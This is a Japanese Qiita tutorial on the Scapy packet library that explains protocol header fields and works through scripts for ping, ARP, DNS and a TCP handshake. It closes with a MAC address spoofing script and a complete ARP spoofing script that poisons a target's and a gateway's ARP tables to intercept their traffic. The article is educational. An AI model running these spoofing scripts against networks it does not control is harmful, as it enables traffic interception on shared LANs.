Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationEventAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
106
Help us understand the problem. What is going on with this article?
@Howtoplay

Scapy入門

Scapyとは

  • 幅広い通信プロトコルに対応したパケット操作プログラム
  • CTFで使える!
  • ネットワークの勉強になる!

インストール

  • linux
pip3 install scapy-python3
  • mac
pip3 install --pre scapy

ipythonを入れると、自動補完してくれます

sudo apt install ipython

起動方法

terminalで下記のコマンドでインタラクティブ・モード使えます

sudo scapy

もしくは

sudo python3
>>> from scapy.all import *

注意

scapyはroot権限がないと実行できないです

ヘッダの作り方

  • Ethernetヘッダ
    • Ether()
  • IPヘッダ
    • IP()
  • TCPヘッダ
    • TCP()
  • ARPヘッダ
    • ARP()
  • DNSヘッダ
    • DNS()

パケットの作り方

  • "/"で区切るだけ
    • Ether()/IP()/TCP()

フィールドの追加方法

2通りあります。
① 引数にフィールドを書く
② 変数にいれた後にドットで指定する

>>> icmp = ICMP(code=2)    # 引数にフィールドを指定
>>> icmp.show()            # パケットの中身を確認
###[ ICMP ]###
  type = echo-request
  code = 2
  chksum = None
  id = 0x0
  seq = 0x0

>>> icmp = ICMP()
>>> icmp.id = 10    #ドットでフィールドを指定
>>> icmp.show()     # パケットの中身を確認
###[ ICMP ]###
  type = echo-request
  code = 0
  chksum = None
  id = 0xa
  seq = 0x0

フィールドを指定しなくても、デフォルトで値が入っている

>>> icmp = ICMP()
>>> icmp.show()
###[ ICMP ]###
  type = echo-request
  code = 0
  chksum = None
  id = 0x0
  seq = 0x0

フィールドとは
あて先IPアドレスやMACアドレスなどを指定する項目のこと
詳しくは、フィールド

その他

  • packet.show()
    • packetの中身を整形して出力
  • packet.summary()
    • wiresharkでいうところのinfoフィールドの値を見ることができる
>>> ARP().summary()
'ARP who has 0.0.0.0 says 192.168.3.12'
  • ls(ヘッダ)
    • 指定したヘッダに対応しているフィールドを調べることができる
>>> ls(IP)
version    : BitField             = (4)
ihl        : BitField             = (None)
tos        : XByteField           = (0)
len        : ShortField           = (None)
id         : ShortField           = (1)
flags      : FlagsField           = (0)
frag       : BitField             = (0)
ttl        : ByteField            = (64)
proto      : ByteEnumField        = (0)
chksum     : XShortField          = (None)
src        : Emph                 = (None)
dst        : Emph                 = ('127.0.0.1')
options    : PacketListField      = ([])
  • ls()
    • 作成できるプロトコル一覧を表示
  • lsc()
    • 関数一覧表示
  • dir()
    • 変数一覧表示
  • hexdump(パケット)
    • 作ったパケットを16進数で表示
  • conf.verb = 0
    • 「パケットを送信(受信)しました」などの、説明を非表示にする

パケットの送受信

  • send(packet)
    • レイヤ3でパケットを送信
  • sendp(packet)
    • レイヤ2でパケットを送信
  • sr(packet)
    • レイヤー3でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
  • sr1(packet)
    • レイヤ3でパケットを送信し,その応答の1つ目がレスポンスとして返ってくる
  • srp(packet)
    • レイヤー2でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
  • srp1(packet)
    • レイヤー2にでパケットを送信し、その応答の1つ目がレスポンスとして返ってくる
  • srflood(packet)
    • レイヤー3でパケットを送信し続ける
  • srpflood(packet)
    • レイヤー2でパケットを送信し続ける
  • send(packet,timeout=1,iface='eth0')
    • タイムアウト時間と送信先インターフェースを指定することができる

pがついてる関数は、レイヤ2でパケットを送信します
また、第2引数にverbose = 0を指定すると、「送信(受信)しました」などの説明を非表示にできます。
送るたびに、書くのが面倒な場合は、conf.verb = 0と宣言しておくと、いちいち書かなくて済む

パケット解析

Pcapファイルの読み込み

  • rdpcap(pcapファイル)
    • pcapファイルを読み込むことができる
  • packet[n]でn+1番目のパケットにアクセスできる
packet.sh
>>> packet=rdpcap("example.pcap")
>>> packet
<example.pcap: TCP:19 UDP:9 ICMP:0 Other:2>
>>> packet[0]
<Ether  dst=01:00:5e:7f:ff:fa src=30:f7:72:3b:08:24 type=0x800
 |<IP  version=4L ihl=5L tos=0x0 len=165 id=0 flags=DF frag=0L ttl=4 proto=udp chksum=0xc2a3 src=192.168.3.2 dst=239.255.255.250 options=[]
 |<UDP  sport=36259 dport=1900 len=145 chksum=0xb5a8 
|<Raw  load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nM
  • wireshark(packet)
    • 変数packetの中身をWiresharkで表示することができる
  • wrpcap('sample.pcap',packet)
    • 変数packetの中身をsample.pcapに書き込みことができる

フィールド

ヘッダごとに、指定するフィールドをまとめてみました。

EthernetⅡヘッダ

まず,ls(ヘッダ)でどんなフィールドがあるか調べる

EthernetⅡ.py
>>> ls(Ether)
dst        : DestMACField                        = (None)
src        : SourceMACField                      = (None)
type       : XShortEnumField                     = (36864)

  • dst(destination)
    • あて先MACアドレス
  • src(source)
    • 送信元MACアドレス
  • type
    • EthernetⅡの次に続くプロトコルを2バイトで指定するフィールド
    • イーサタイプ    プロトコル
      0x0800 IPv4
      0x86dd IPv6
      0x0806 ARP
      0x8035 RARP
      0x8863 PPPoE(Discovery Stage)
      0x8864 PPPoE(Session Stage)

ARPヘッダ

Ethernetヘッダ ARPヘッダ
arp.py
>>> ls(ARP)
hwtype     : XShortField                         = (1)
ptype      : XShortEnumField                     = (2048)
hwlen      : ByteField                           = (6)
plen       : ByteField                           = (4)
op         : ShortEnumField                      = (1)
hwsrc      : ARPSourceMACField                   = (None)
psrc       : SourceIPField                       = (None)
hwdst      : MACField                            = ('00:00:00:00:00:00')
pdst       : IPField                             = ('0.0.0.0')

  • hwtype(hardware type)
    • データリンク層のプロトコルの種類を指定するフィールド
    • デフォルトでは、『1(0x1)』が入ってるが、これはEthernetⅡを使うことを意味している
  • ptype(protocol type)
    • ネットワーク層のプロトコルを表すフィールド
    • デフォルトでは、『2048(0x800)』という値が入り、IPが指定されている
  • hwlen(hardware length)
    • データリンク層のアドレスのサイズを表すフィールド
    • デフォルトではMACアドレスのサイズである『6(0x6)』という値が指定されている
  • plen(protocol length)
    • ネットワーク層のプロトコルのアドレスのサイズを表すフィールド
    • デフォルトでは、IPアドレスのサイズである『4(0x4)』が指定されている
  • op(opcode)
    • ARPで行う処理の種類を指定するフィールド
    • デフォルトでは、IPアドレスをもとにMACアドレスを問い合わせるARP要求ブロードキャストを意味する『1(0x1)』が入っている
    • ARP要求に対して、該当する機器がMACアドレスおよびIPアドレスを問い合わせ元に返答するARP応答ユニキャストでは『2(0x2)』が入る
  • hwsrc(hardware source)
    • ARPを送信する端末のMACアドレス
  • psrc(ip source)
    • ARPを送信する端末のIPアドレス
  • hwdst(hardware destination)
    • ARPで解決したいMACアドレス(解決したいと言っても、最初はMACアドレスを知りようがないのでダミーMACアドレスを入れる)
    • デフォルトでは、ダミーMACアドレス『00:00:00:00:00:00』 が指定されている
  • pdst(ip destination)
    • ARPで解決したいIPアドレス

個人的に躓いたところ
Q1.EthernetパケットとARPパケットの両方で、あて先MAC/送信元MACを指定しているのはなぜか?
 ⇒ARP要求を投げるノードが必ずしも応答を受けとりたいノードとは限らないため、そのような仕様になっている。

Q2.送信元IPとあて先IPのどっちに指定した、IPアドレスに対応したMACアドレスが返ってくるのか?
 ⇒あて先IPです。ARP要求は、Ethernetパケットで、ブロードキャストすることによって、LAN内の全端末にARP要求が届き、それを受けっとたノードはあて先IPアドレスが自分のIPアドレスと一致した場合にだけ応答するという仕組みになっているからです。

IPヘッダ

IP.py
>>> ls(IP)
version    : BitField (4 bits)                   = (4)
ihl        : BitField (4 bits)                   = (None)
tos        : XByteField                          = (0)
len        : ShortField                          = (None)
id         : ShortField                          = (1)
flags      : FlagsField (3 bits)                 = (<Flag 0 ()>)
frag       : BitField (13 bits)                  = (0)
ttl        : ByteField                           = (64)
proto      : ByteEnumField                       = (0)
chksum     : XShortField                         = (None)
src        : SourceIPField                       = (None)
dst        : DestIPField                         = (None)
options    : PacketListField                     = ([])
  • version
    • IPのバージョンを指定するフィールド
    • デフォルトではIPv4という意味の『4(0x04)』が指定されている
  • ihl(internet header length)
    • IPv4のヘッダ長を指定するフィールド
    • 端末は、この値を見ることによって、どこまでがIPヘッダーであるかを知る事ができる。
    • IPヘッダーの長さは基本的に20バイト(160b = 32b×5)なので『5』が入ることになります。
  • tos(type of service)
    • 通信の品質を定めているフィールド
    • TOSフィールド内の優先順位ビットの値
      優先順位
      000 標準
      001 優先
      010 即時
      011 速報
      100 優先速報
      101 重大
      110 インターネットワーク制御
      111 ネットワーク制御
  • len(length)
    • IPパケットの全長サイズ
    • IPパケットは、EthernetⅡだけでなく、ブロードバンドで利用するPPPoEやPPPなどといったレイヤ2の様々なプロトコルを使えるため、データリンクに応じてサイズを変えられるようになっている。
  • id(identification)
    • 送信するパケットを識別するための値
  • flags
    • フラグメントを指定するフィールド
      • 大きなサイズのIPパケットを一度に送ることができない場合に、複数のIPパケットに分割したり結合したりする機能のこと(3bitで構成されている)
      • Reservedビット
        • 未使用で必ず『0』になる
      • DF(Don't Fragment)
        • 『0』‥分割可
        • 『1』‥分割不可
      • MF(More Fragments)
        • 『0』‥最後のパケット
        • 『1』‥途中のパケット
  • flag
    • フラグメントオフセット
    • 元のデータの何バイト目からのデータなのかを示している(1番目のパケットであれば『0』)
  • ttl(time to live)
    • IPパケットの寿命
    • ルータなどの中継装置を通過するたびに、1ずつ減算されていく
  • proto(protocol)
    • IPの次のレイヤのヘッダを1バイトで表す
  • 主なプロトコル番号とカプセル化されるプロトコル
    プロトコル番号 プロトコル
    1 ICMP
    6 TCP
    17 UDP
    50 ESP
  • chksum(checksum)
    • IPヘッダの内容を確認し、ヘッダに誤りがないかチェックする
  • src(source)
    • 送信元IPアドレス
  • dst(destination)
    • あて先IPアドレス
  • options
    • 特別な設定をするときに使う
  • TCPヘッダ

    Ethernetヘッダ IPヘッダ TCPヘッダ
    tcp.py
    >>> ls(TCP)
    sport      : ShortEnumField                      = (20)
    dport      : ShortEnumField                      = (80)
    seq        : IntField                            = (0)
    ack        : IntField                            = (0)
    dataofs    : BitField (4 bits)                   = (None)
    reserved   : BitField (3 bits)                   = (0)
    flags      : FlagsField (9 bits)                 = (<Flag 2 (S)>)
    window     : ShortField                          = (8192)
    chksum     : XShortField                         = (None)
    urgptr     : ShortField                          = (0)
    options    : TCPOptionsField                     = ([])
    
    • sport(source port)
      • 送信元ポート番号
    • dport(destination port)
      • あて先ポート番号
    • seq(sequence)
      • パケットの順序番号
    • ack(acknowledgement)
      • 確認応答番号クライアントがサーバに対して、『次にこのシーケンス番号以降のデータをください』とお願いするためのフィールド
    • dataofs(data offset)
      • TCPヘッダの長さ
    • reserved
      • このフィールドは将来の拡張のために用意されていて、通常はすべて「0」がセットされる
    • flags
      • コネクションの状態を制御するフィールド
      • 初期値はすべて『0』で、値が『1』の場合にそれぞれのフラグが有効となる
      • CWR
      • ECE
      • URG(URGENT)
        • 緊急を表すフラグ
      • ACK(ACKNOWLEDGEMENT)
        • 確認応答を表すフラグ
      • PSH(PUSH)
        • 速やかにアプリケーションにデータを渡すフラグ
      • RST(RESET)
        • コネクションを強制切断するフラグ
      • SYN(SYNCHRONIZE)
        • コネクションを開始するフラグ
      • FIN(FINISH)
        • コネクションを終了するフラグ
    • window
      • ウィンドウサイズ送信側に空いているバッファサイズを通知する
    • chksum(checksum)
      • TCPセグメントのエラー確認
    • urgptr(urgent pointer)
      • コントロールビットの URG フラグが『1』になっている時にだけ、緊急データを示す最後のバイトのシーケンス番号がセットされる
    • options
      • 特別な設定をするためのフィールド

    UDPヘッダ

    Ethernetヘッダ IPヘッダ UDPヘッダ
    UDP.py
    >>> ls(UDP)
    sport      : ShortEnumField                      = (53)
    dport      : ShortEnumField                      = (53)
    len        : ShortField                          = (None)
    chksum     : XShortField                         = (None)
    
    • sport(source port)
      • 送信元ポート番号
    • dport(destination port)
      • あて先ポート番号
    • len(length)
      • UDPデータグラムのサイズ
    • chksum(checksum)
      • 受け取ったデータグラムが壊れていないか、整合性のテェックに使用される16bitのフィールド

    ICMPヘッダ

    Ethernetヘッダ IPヘッダ ICMPヘッダ
    icmp.py
    >>> ls(ICMP)
    type       : ByteEnumField                       = (8)
    code       : MultiEnumField (Depends on type)    = (0)
    chksum     : XShortField                         = (None)
    id         : XShortField (Cond)                  = (0)
    seq        : XShortField (Cond)                  = (0)
    ts_ori     : ICMPTimeStampField (Cond)           = (46455505)
    ts_rx      : ICMPTimeStampField (Cond)           = (46455505)
    ts_tx      : ICMPTimeStampField (Cond)           = (46455505)
    gw         : IPField (Cond)                      = ('0.0.0.0')
    ptr        : ByteField (Cond)                    = (0)
    reserved   : ByteField (Cond)                    = (0)
    length     : ByteField (Cond)                    = (0)
    addr_mask  : IPField (Cond)                      = ('0.0.0.0')
    nexthopmtu : ShortField (Cond)                   = (0)
    unused     : ShortField (Cond)                   = (0)
    unused     : IntField (Cond)                     = (0)
    
    • type
      • 0 → エコー応答(Echo Reply)
      • 3 → 宛先到達不能(Destination Unreachable)
      • 4 → 転送抑制支持(Souce Quench)
      • 5 → 最適経路通知(Redirect)
      • 8 → Echo要求(Echo Request)
      • 9 → ルータ通知(Router Advertisement)
      • 10 → ルータ選択(Router Selection)
      • 11 → 時間超過によるパケット破棄(Time Exceeded)
      • 12 → 誤ったパラメータによるエラー
      • 13 → タイムスタンプ要求
      • 14 → タイムスタンプ応答
    • code
      • 0‥ネットワーク到達不能
      • 1‥ホストへ到達不能
      • 2‥そのプロトコルは使用できない
      • 3‥対象ポートが閉じている
      • 4‥IPパケット分割不可
      • 5..指定された経路で通信できない
    • chksum(checksum)
      • エラーチェックを行うためのフィールド
    • id(identification)
      • ICMPメッセージが複数ある場合に、それぞれを区別するために用紙された識別フィールド
    • seq(sequence)
      • 連続してpingを送信する際に、それぞれのpingを区別するための順序番号
    • ts_ori(timestamp original)
      • 開始タイムスタンプ
    • ts_rx(timestamp)
      • 受信タイムスタンプ
    • ts_tx(timestamp)
      • 送信タイムスタンプ
    • gw(gateway)
      • ゲートウェイアドレス
    • ptr(pointer)
    • reserved
      • 予約ビット
    • length
    • addr_mask
    • nexthopmtu

    DNSヘッダ

    ゾーン転送はTCP53番ポート

    Ethernetヘッダ IPヘッダ TCPヘッダ DNSヘッダ

    名前解決はUDP53番ポート

    Ethernetヘッダ IPヘッダ UDPヘッダ DNSヘッダ
    dns.py
    >>> ls(DNS)
    id         : ShortField                          = (0)
    qr         : BitField (1 bit)                    = (0)
    opcode     : BitEnumField (4 bits)               = (0)
    aa         : BitField (1 bit)                    = (0)
    tc         : BitField (1 bit)                    = (0)
    rd         : BitField (1 bit)                    = (1)
    ra         : BitField (1 bit)                    = (0)
    z          : BitField (1 bit)                    = (0)
    ad         : BitField (1 bit)                    = (0)
    cd         : BitField (1 bit)                    = (0)
    rcode      : BitEnumField (4 bits)               = (0)
    qdcount    : DNSRRCountField                     = (None)
    ancount    : DNSRRCountField                     = (None)
    nscount    : DNSRRCountField                     = (None)
    arcount    : DNSRRCountField                     = (None)
    qd         : DNSQRField                          = (None)
    an         : DNSRRField                          = (None)
    ns         : DNSRRField                          = (None)
    ar         : DNSRRField                          = (None)
    
    • id(identification)
      • 問い合わせを区別する識別子
      • クエリ要求とクエリ応答で共通の値になる
    • qr(query/response)
      • 問い合わせ/応答フラグ
        • 0‥クエリ要求
        • 1‥クエリ応答
    • opcode(operation code)
      • 問い合わせの種類
        • 0‥正引き
        • 1‥逆引き
        • 2‥サーバの状態を要求する問い合わせ
    • aa(authoritative answer)
      • そのドメインに対するコンテンツサーバーかどうかを表す
        • 0‥オーソリティあり
        • 1‥オーソリティなし
    • tc(truncation)
      • 切り捨て
        • 0‥データが512バイト未満
        • 1‥データが512バイト異常
    • rd(recursion desired)
      • 再帰要望
        • 0‥反復問い合わせ(フルサービスリゾルバ→コンテンツサーバ)
        • 1‥再帰問い合わせ(スタブリゾルバ→フルサービスリゾルバ)
    • ra(recursion available)
      • 再帰有効
        • 0‥再帰不可(コンテンツサーバ)
        • 1‥再帰可能(フルサービスリゾルバ)
    • z
      • 将来的な拡張用。ゼロが入る
    • ad
      • DNSSEC検証に成功したことを示す(応答)/応答のADビットを理解できることを示す(問い合わせ)
    • cd
      • DNSSEC検証の禁止
    • rcode(response code)
      • 応答コード
        • 0‥正常応答
        • 1..フォーマットエラー(DNSサーバーがそのクエリを理解できなかった)
        • 2..サーバー障害(DNSサーバがそのクエリを処理できなかった)
        • 3..名前エラー(そのクエリのドメイン名が存在しなかった)
        • 4..未実装(そのクエリをサポートしていなかった)
        • 5..拒否(ポリシーによって拒否した)
        • 6~15..将来のために予約
    • qdcount
      • 問い合わせ(Question)セクションの数で、常に1
      • クライアントが指定する。
    • ancount
      • 応答(Answer)セクションのリソースレコード(RR)数
      • サーバが指定する。
    • nscount
      • 委任情報(Authority)セクションのRR数
      • サーバが指定する
    • arcount
      • 付加情報(Additional)セクションのRR数
      • サーバが指定する。
    • qd

    qdは、DNSサーバに対する質問がセットされるセクション

    フィールド 内容
    qname 問い合わせるドメイン名
    qtype 問い合わせの種類
    A:ホストアドレス
    NS:コンテンツサーバ
    CNAME:別名
    SOA:管理情報
    PTR:IPアドレス
    MX:メールサーバー
    TXT:コメント
    AXFR:ゾーン転送要求
    qclass 問い合わせのクラスを表す
    IN:インターネット

    『www.google.com』を問い合わせる場合
    DNS(qd=DNSQR(qname="www.google.com",qtype="A",qclass="IN"))

    • an/ns/ar

    これら3つのセクションには、ゾーンファイルを構成するリソースレコードの情報がセットされ、
    基本的には同じメッセージフォーマットが適用される。

    anは、質問したタイプに対する回答リソースレコードがセットされるセクション

    nsは、質問したドメイン名に対してオーソリティを持つサーバのレコードが入る(通常はNS)

    ar、は付加情報がセットされるセクション
    ほとんどの場合、nsセクションで指定されたコンテンツサーバのIPアドレスがセットされる

    問い合わせの場合は、回答・オーソリティ・追加の数は『0』
    応答の場合は、問い合わせの『質問の数』がそのまま応答に入る

    フィールド 内容
    rrname 対象となるドメイン名
    type 問い合わせの種類を表す
    A:ホストアドレス
    NS:コンテンツサーバ
    CNAME:別名
    SOA:管理情報
    PTR:IPアドレス
    MX:メールサーバー
    TXT:コメント
    rclass 問い合わせのクラスを表す
    IN:インターネット
    ttl リソースレコードの生存時間(秒)
    rdlen リソースレコードの長さ(バイト)
    rdata リソースレコードの情報

    実装編

    これまでの知識を応用して、実際にパケットを作ってみたいと思います

    pingを作る

    googleにpingを放つコードを書いてみます
    ちゃんとpingが打ててるか確認するために、戻り値を表示します

    ping.py
    from scapy.all import *
    
    ping = IP(dst="www.google.com")/ICMP()
    ans  = sr1(ping)
    ans.show()
    

    216.58.199.228(google) ⇒ 192.168.3.12にちゃんとpingが返って来ている

    ping.py(戻り値)
    ###[ IP ]### 
      version   = 4
      ihl       = 5
      tos       = 0x0
      len       = 28
      id        = 0
      flags     = 
      frag      = 0
      ttl       = 55
      proto     = icmp
      chksum    = 0x200e
      src       = 216.58.199.228
      dst       = 192.168.3.12
      \options   \
    ###[ ICMP ]### 
         type      = echo-reply
         code      = 0
         chksum    = 0x0
         id        = 0x0
         seq       = 0x0
    

    ARP要求

    特定のIPアドレスのMACアドレスを得るためのARP要求を行うコードを書いてみます。
    ARPはLAN内で行うので、レイヤー2に送るsrp1関数を使います

    arp.py
    from scapy.all import *
    
    arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.2")
    res = srp1(arp)
    res.show()
    

    hwsrcを見ると、ちゃんとMACアドレスが返って来てるのがわかる

    arp.py(戻り値)
    ###[ Ethernet ]### 
      dst       = 08:00:27:95:8c:5e
      src       = 68:ec:c5:d2:43:3f
      type      = 0x806
    ###[ ARP ]### 
         hwtype    = 0x1
         ptype     = 0x800
         hwlen     = 6
         plen      = 4
         op        = is-at
         hwsrc     = 68:ec:c5:d2:43:3f
         psrc      = 192.168.3.2
         hwdst     = 08:00:27:95:8c:5e
         pdst      = 192.168.3.12
    
    

    名前解決

    googleの名前解決をしてみたいと思います。
    DNSパケットの構造はIP()/UDP()/DNS()です。
    IPパケットのあて先は、Google Public DNS(8.8.8.8)にしました。

    resolve.py
    from scapy.all import *
    
    answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(qname="www.google.com")),verbose=0)
    print answer[DNS].summary()
    
    reslove.py(戻り値)
    DNS Ans "172.217.26.4" 
    

    3-way-handshake

    youtubeと3-way-handshakeしたいと思います。下図の通り①のseq番号は何でもいいです
    また、sportはランダムで、dportはhttpsなので、443です。

    3way.py
    from scapy.all import *
    import random
    
    conf.verb = 0
    
    sport  = random.randint(1024,65535)
    seq    = random.randint(0,1000)
    ip     = IP(dst='www.youtube.com')
    
    SYN    = TCP(sport=sport,dport=443,flags='S',seq=seq) # ①
    SYNACK = sr1(ip/SYN) # ②
    ACK    = TCP(sport=sport, dport=443, flags='A', seq=SYNACK.ack , ack=SYNACK.seq + 1) # ③
    send(ip/ACK)
    

    LAN内のMACアドレスとIPアドレスを調べる

    ARPは宛先IPアドレスに指定したMACアドレスを教えてくれる

    from scapy.all import *
    
    ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=2)
    ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
    
    結果
    """
    xx:xx:xx:xx:xx:xx 192.168.3.2
    xx:xx:xx:xx:xx:xx 192.168.3.1
    xx:xx:xx:xx:xx:xx 192.168.3.6
    xx:xx:xx:xx:xx:xx 192.168.3.4
    """
    

    なお、上のスクリプトはarping("192.168.3.*")という組み込み関数を使えば一発でできる。

    MACアドレスの偽装

    ARPパケットを受信したノードは、送信元MACアドレスを元に、ARPテーブルを作っているので、そこを任意のものにすれば良い

    fake_mac_addr.py
    from scapy.all import *
    
    target_mac    = raw_input("target_mac >>")
    fake_mac_addr = raw_input("fake_mac_addr >>")
    
    eth = Ether(dst=target_mac)
    
    arp       = ARP()
    arp.op    = 2   #ARP応答
    arp.hwsrc = fake_mac_addr
    arp.hwdst = target_mac
    
    frame = eth/arp
    sendp(frame)
    

    ARP Spoofing

    『ARP要求とARP応答は認証がないので、偽のMACアドレスのARP応答を送ると、受信側はそのリクエストを受け付けてしまう』という仕組みを利用して、arpテーブルを書き換えて、通信を『target ⇄ 攻撃者 ⇄ gateway』のようにする

    arp_spoofing.py
    # coding:utf-8
    from scapy.all import *
    import sys
    import subprocess
    import os
    
    # IPパケット転送機能をONにする
    print "[*] Enabling IP Forwarding...\n"
    if os.name == 'nt':
        command = ["echo 1 > /proc/sys/net/ipv4/ip_forward"]
        subprocess.call(command,shell=True)
    elif os.name == 'posix':
        command = ["sysctl -w net.inet.ip.forwarding = 1"]
        subprocess.call(command,shell=True)
    else:
        print("error")
        sys.exit()
    
    conf.verb = 0 
    
    target_ip     = raw_input("target_ip >> ")
    target_mac    = raw_input("target_mac >> ")
    gateway_ip    = raw_input("gateway_ip >> ")
    gateway_mac   = raw_input("gateway_mac >> ")
    fake_mac_addr = raw_input("fake_mac_addr >> ")
    
    def main():
        try:
            print "[*] Start ARP_spoofing...[CTRL-C to stop]"
            poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
        except KeyboardInterrupt:
            pass
        finally:
            restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
            sys.exit(0)
    
    def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
        # ARP応答
        poisoning_target       = Ether(dst=target_mac)/ARP()
        poisoning_target.op    = 2                # ARP応答ユニキャスト
        poisoning_target.psrc  = gateway_ip       # あて先IPにゲートウェイのアドレス
        poisoning_target.pdst  = target_ip        # 通信相手のIPアドレス
    
        poisoning_gateway      = Ether(dst=gateway_mac)/ARP()
        poisoning_gateway.op   = 2
        poisoning_gateway.psrc = target_ip
        poisoning_gateway.pdst = gateway_ip
        # MACアドレス偽装
        frame = Ether(dst = target_mac)/ARP(op=2,hwsrc = fake_mac_addr,hwdst = target_mac)
    
        while True:
            sendp(poisoning_target)
            sendp(poisoning_gateway)
            sendp(frame)
        print "[*] Finished."
        return
    
    def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
        print "[*] Restoring target."
        arp       = ARP()
        arp.op    = 1                 # ARP要求ブロードキャスト
        arp.psrc  = gateway_ip        # ARP要求を行った送信元IPアドレス
        arp.hwsrc = gateway_mac       # 送信元MAC
        arp.pdst  = target_ip         # あて先IPアドレス
        arp.hwdst = target_mac        # あて先MACアドレス
        send(arp, count = 3)
    
    
        print "Disabling IP Forwading...\n"
        if os.name == 'nt':
            command = "echo 0 > /proc/sys/net/ipv4/ip_forward"
            subprocess.call(command,shell=True)
        elif os.name == 'posix':
            command = "sysctl -w net.inet.ip.forwarding = 0"
            subprocess.call(command,shell=True)
    
    if __name__ == "__main__":
        main()
    
    MACアドレスを偽装しているのは、targetのarpテーブルに、攻撃者のMACアドレスが2つ存在してしまうのを防ぐため

    総評

    Scapyに無限の可能性を感じた。
    普段使っているプロトコルの仕組みや、wiresharkの通信を見て何をやってるのかがわかるようになったので、まとめてよかった。

    参考

    公式ドキュメント
    サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
    パケットキャプチャ入門 第3版 (LANアナライザWireshark活用術)
    3分間DNS基礎講座
    パケットキャプチャの教科書

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
106
Help us understand the problem. What is going on with this article?